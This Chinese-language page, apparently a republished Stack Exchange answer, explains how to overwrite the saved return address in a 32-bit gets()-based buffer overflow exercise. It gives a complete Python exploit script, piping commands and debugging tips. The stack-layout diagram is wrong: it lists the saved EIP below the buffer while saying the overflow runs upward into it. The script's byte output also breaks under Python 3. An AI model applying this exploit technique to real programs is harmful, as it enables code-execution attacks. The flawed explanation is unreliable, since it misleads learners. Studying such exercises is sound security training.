ELF-32位i386缓冲区溢出:如何正确覆盖EIP至0x00001209
解决缓冲区溢出覆盖EIP的问题
首先,你的核心问题是payload的栈布局顺序搞反了,另外还有print语句自动添加换行符的潜在问题,这两个点导致你无法成功覆盖EIP。下面一步步拆解解决:
1. 先明确栈布局逻辑
在32位i386的栈中,内存是向下生长的(从高地址到低地址),你的程序局部变量在栈中的顺序如下:
高地址 | buf[15] | | buf[14] | | ... | | buf[0] | ← gets从这个位置开始写入数据 | cookie | 4字节int变量 | ebp | 4字节保存的旧EBP值 | eip | 4字节返回地址(我们要覆盖的核心目标) 低地址
当gets(buf)读取输入时,内容会从buf[0]开始填充,超过16字节后会依次覆盖cookie、ebp,最后才会触及eip的位置。你的原payload顺序完全颠倒,根本没机会覆盖到返回地址。
2. 修正后的漏洞利用代码
import struct import sys # 按栈顺序构造payload # 1. 填满16字节的buf缓冲区 buf_fill = b'A' * 16 # 2. 覆盖cookie(随便填即可,因为我们要绕过if判断) cookie_cover = b'B' * 4 # 3. 覆盖旧ebp(任意填充,不影响跳转逻辑) ebp_cover = b'C' * 4 # 4. 覆盖eip为目标地址0x00001209(用小端序打包,适配i386架构) target_eip = struct.pack("<I", 0x00001209) payload = buf_fill + cookie_cover + ebp_cover + target_eip # 用stdout.write输出,避免print自动添加换行符(0x0A会被gets截断) sys.stdout.write(payload)
3. 关键细节提醒
- payload顺序不能乱:必须严格按照栈从高到低的填充顺序,先填满buf,再依次覆盖后续栈元素,最后才是返回地址的位置。
- 避免换行符截断:
print会自动在输出末尾添加\n(即0x0A),而gets遇到0x0A就会停止读取,这会导致你的payload被提前截断。一定要用sys.stdout.write()(Python2)或sys.stdout.buffer.write()(Python3)输出原始字节流。 - 验证目标地址:确保
0x00001209确实是你想要执行的代码地址。可以用objdump -d your_program查看汇编,建议跳转到printf("You win!\n")的完整执行逻辑起始地址(比如先push字符串地址再call printf的位置),不要直接跳转到printf函数入口——否则栈参数不匹配会导致程序崩溃。
4. 测试方法
用管道将payload输入到程序:
python exp.py | ./your_program
或者将payload写入文件后重定向输入:
python exp.py > payload.bin ./your_program < payload.bin
内容的提问来源于stack exchange,提问作者 Trần Bà Quang
相关产品推荐
相关产品推荐

